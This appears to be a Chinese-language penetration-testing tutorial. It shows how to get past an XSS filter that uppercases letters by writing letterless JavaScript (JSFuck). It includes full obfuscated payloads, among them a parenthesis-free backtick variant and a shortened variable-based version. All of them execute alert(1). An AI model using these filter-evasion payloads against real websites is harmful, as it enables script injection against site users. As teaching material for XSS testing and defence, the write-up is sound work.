一、前言
在一次XSS测试中,往可控的参数中输入XSS Payload,发现目标服务把所有字母都转成了大写,假如我输入alert(1),会被转成ALERT(1),除此之外并没有其他限制,这时我了解到JavaScript中可以执行无字母的语句,从而可以绕过这种限制来执行XSS Payload。
二、JS基础
先执行两段JS代码看下
([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]
([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}]
两段js代码都输出了字符串”nb”,下面来分析下原因.
JS运算符的优先级
下面的表将所有运算符按照优先级的不同从高(20)到低(1)排列。
| 优先级 | 运算类型 | 关联性 | 运算符 | ||
|---|---|---|---|---|---|
| 20 | 圆括号 | n/a | ( … ) | ||
| 19 | 成员访问 | 从左到右 | … . … | ||
| 19 | 需计算的成员访问 | 从左到右 | … [ … ] | ||
| 19 | new (带参数列表) | n/a | new … ( … ) | ||
| 19 | 函数调用 | 从左到右 | … ( … ) | ||
| 19 | 可选链(Optional chaining) | 从左到右 | ?. | ||
| 18 | new (无参数列表) | 从右到左 | new … | ||
| 17 | 后置递增(运算符在后) | n/a | … ++ | ||
| 17 | 后置递减(运算符在后) | n/a | … — | ||
| 16 | 逻辑非 | 从右到左 | ! … | ||
| 16 | 按位非 | 从右到左 | ~ … | ||
| 16 | 一元加法 | 从右到左 | + … | ||
| 16 | 一元减法 | 从右到左 | – … | ||
| 16 | 前置递增 | 从右到左 | ++ … | ||
| 16 | 前置递减 | 从右到左 | — … | ||
| 16 | typeof | 从右到左 | typeof … | ||
| 16 | void | 从右到左 | void … | ||
| 16 | delete | 从右到左 | delete … | ||
| 16 | await | 从右到左 | await … | ||
| 15 | 幂 | 从右到左 | … ** … | ||
| 14 | 乘法 | 从左到右 | … * … | ||
| 14 | 除法 | 从左到右 | … / … | ||
| 14 | 取模 | 从左到右 | … % … | ||
| 13 | 加法 | 从左到右 | … + … | ||
| 13 | 减法 | 从左到右 | … – … | ||
| 12 | 按位左移 | 从左到右 | … << … | ||
| 12 | 按位右移 | 从左到右 | … >> … | ||
| 12 | 无符号右移 | 从左到右 | … >>> … | ||
| 11 | 小于 | 从左到右 | … < … | ||
| 11 | 小于等于 | 从左到右 | … <= … | ||
| 11 | 大于 | 从左到右 | … > … | ||
| 11 | 大于等于 | 从左到右 | … >= … | ||
| 11 | in | 从左到右 | … in … | ||
| 11 | instanceof | 从左到右 | … instanceof … | ||
| 10 | 等号 | 从左到右 | … == … | ||
| 10 | 非等号 | 从左到右 | … != … | ||
| 10 | 全等号 | 从左到右 | … === … | ||
| 10 | 非全等号 | 从左到右 | … !== … | ||
| 9 | 按位与 | 从左到右 | … & … | ||
| 8 | 按位异或 | 从左到右 | … ^ … | ||
| 7 | 按位或 | 从左到右 | … | … | |
| 6 | 逻辑与 | 从左到右 | … && … | ||
| 5 | 逻辑或 | 从左到右 | … | … | |
| 4 | 条件运算符 | 从右到左 | … ? … : … | ||
| 3 | 赋值 | 从右到左 | … = … | ||
| 2 | yield* | 从右到左 | yield* … | ||
| 1 | 展开运算符 | n/a | … … | ||
| 1 | 逗号 | 从左到右 | … , … |
以这个优先级对JS代码([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]来进行分解
先来看第一个分解的JS([][[]]+[]), 在()内[]的优先级高,会先处理,控制台执行看一下
JS类型转换
从分解的第一段js可以看到输出了字符串”undefined”,这里就涉及到类型转换。在JS中当操作符两边的操作数类型不一致或者不是原始类型,就需要类型转换。JS有5种原始类型,Undefined、Null、Boolean、Number 和 String。
- 乘号、除号/、减号-,肯定是做数学运算,就会转换成Number类型的。
- 加号+,有可能是字符串拼接,也可能是数学运算,所以可能转化成Number或String。
- 符号!,表示取反,会转换成Boolean类型。
- 符号~,把操作数转成Number类型,取负运算在减1。
- 一元运算加法、减法,都会转成Number类型。
在看下非原始类型转换规则
ToPrimitive(input, PreferredType?) 可选参数PreferredType是Number或者是String。返回值为任何原始值。如果PreferredType是Number,执行顺序如下:
1.如果input是原始值,直接返回这个值。
2.否则,如果input是对象,调用input.valueOf(),如果结果是原始值,返回结果。
3.否则,调用input.toString()。如果结果是原始值,返回结果。
4.否则,抛出TypeError。
如果转换的类型是String,2和3会交换执行,即先执行toString()方法。
ToNumber 运算符根据下表将其参数转换为数值类型的值
| 输入类型 | 结果 |
|---|---|
| undefined | NaN |
| Null | +0 |
| Boolean | 如果参数是 true,结果为 1。如果参数是 false,此结果为 +0 |
| Number | 不转换 |
| String | “” 转换成 0,”123”转换成”123”,无法解析的转换成NaN |
| Object | 调用ToPrimitive(input, Number) |
ToBoolean 运算符根据下表将其参数转换为布尔值类型的值
| 输入类型 | 结果 |
|---|---|
| undefined | false |
| Null | false |
| Boolean | 不转换 |
| Number | 如果参数是 +0, -0, 或 NaN,结果为 false,否则结果为 true。 |
| String | 如果参数参数是空字符串(其长度为零),结果为 false,否则结果为 true。 |
| Object | true |
ToString 运算符根据下表将其参数转换为字符串类型的值
| 输入类型 | 结果 |
|---|---|
| undefined | “undefined” |
| Null | “null” |
| Boolean | 如果参数是 true,那么结果为 “true”。 如果参数是 false,那么结果为 “false”。 |
| String | 不转换 |
| Number | 数字转成字符串 例如 123转成”123” |
| Object | 调用ToPrimitive(input, String) |
分解步骤
第一段JS([][[]]+[])根据优先级会先执行[],[]会定义一个空数组,[[]]会定义一个二维数组,那么[][[]]就是在一个空数组里面去寻找下标是一个非数字的值,肯定会返回undefined。到这可以分解成undefined+[],因为两把的操作数类型不一致,这里会调用ToPrimitive来进行转换
undefined根据上面的规则可以得知会转换成字符串”undefined”,这时就是执行"undefined"+"",结果就是"undefined"字符串。
第二段JS[+!+[]],会先执行里面的[]会定义一个空数组, 因为一元运算的原因会从右到左,那么+[]就会调用ToNumber,因为[]是Object类型所以会调用ToPrimitive,而[].toString()会返回""字符串,此时会执行+"",此时""会使用ToNumber进行转换,结果会是0。后面接着会用!进行取反,因为0不是Boolean类型,会调用ToBoolean进行类型转换,会转成false,对false取反会得到true,接着执行+true,会用ToNumber对true进行类型转换,会得到1,那么最终结果就是[1]
第三段JS([]+{}),[]通过ToPrimitive会得到""字符串,{}对象通过ToPrimitive会得到"[object Object]"字符串。
第四段JS[+!+[]+!+[]],根据优先级先执行[],+[]得到0,!0得到true,+true得到数字1,1+1则等于2,最终结果是[2]
最终把这4小段js代码结果拼接起来看下,"undefined"[1]+"[object Object]"[2]。执行就会得到字符串"nb"。
三、分析JSFuck
JSFuck使用六个不同的字符()[]+!来编写和执行任意JS代码,在JS基础中讲述了如何通过几个字符来生成任意的字符串,JsFuck不仅只是生成字符串,还可以执行任意JS代码。
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])()
在控制台执行上面的JS,浏览器会弹出一个对话框内容是1。
经过一步步拆解,最后执行的JS代码是[]["fill"]["constructor"]("alert(1)")(),那这段代码为啥会执行alert(1)呢,通过控制台分解看下。
[]["fill"]获取数组的fill方法。在JS中每个函数实际上都是Function 对象,所以能[]["fill"]["constructor"]这样去获取fill的构造函数,换一个其它的函数也可以的比如pop、map等等。执行[]["fill"]["constructor"]("alert(1)")()相当于执行了Function('alert(1)')() ,在Function()构造函数中,最后一个实参所表示的文本是函数体,它可以包含任意的JS语句,使用()调用时所以会执行alert(1),而不是字符串"alert(1)"
四、去掉括号
在前面的例子中都用到了()符号,用来进行分割语法,这里在看一个不用()的例子。
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$
最后分解成这样的
```javascript
[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$
可以看到`Function`这里用``符号`替换括号。alert(1)这里的括号获取方式是`["function find() { [native code] }"][0][13]`,这里找了find函数然后转成字符串赋值在数组里面,获取这个字符串的过程是`[[]['find']['constructor'].toString()]`,然后从数组里面取出来字符串,在截取下标位置是13、14,对应(和)符号。$符号是为了定义函数的参数,不加这个语法在解析的时候会报错。
有括号执行`alert(1)`字符串长度是976,没有括号字符长度是1289。前面说过目标服务只是把小写字母转成了大写,大写字母和数字还是可以正常使用的,可以使用数字就不用一个个的加了,可以使用大写字母可以把重复出现的字母定义成变量,这样就不用每次去转换了。
把要出现的字符都集中在一个变量里面
```javascript
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];
然后直接取字符串的下标
[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
执行的时候直接合成一行,整个字符的长度是226
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
浏览器会成功执行alert(1)
五、总结
在做测试的时候,首先可以确定下对哪些字符进行了过滤,然后再找其它的方法去替换过滤的字符,比如用`符号替换括号,用.join替换+号等等。







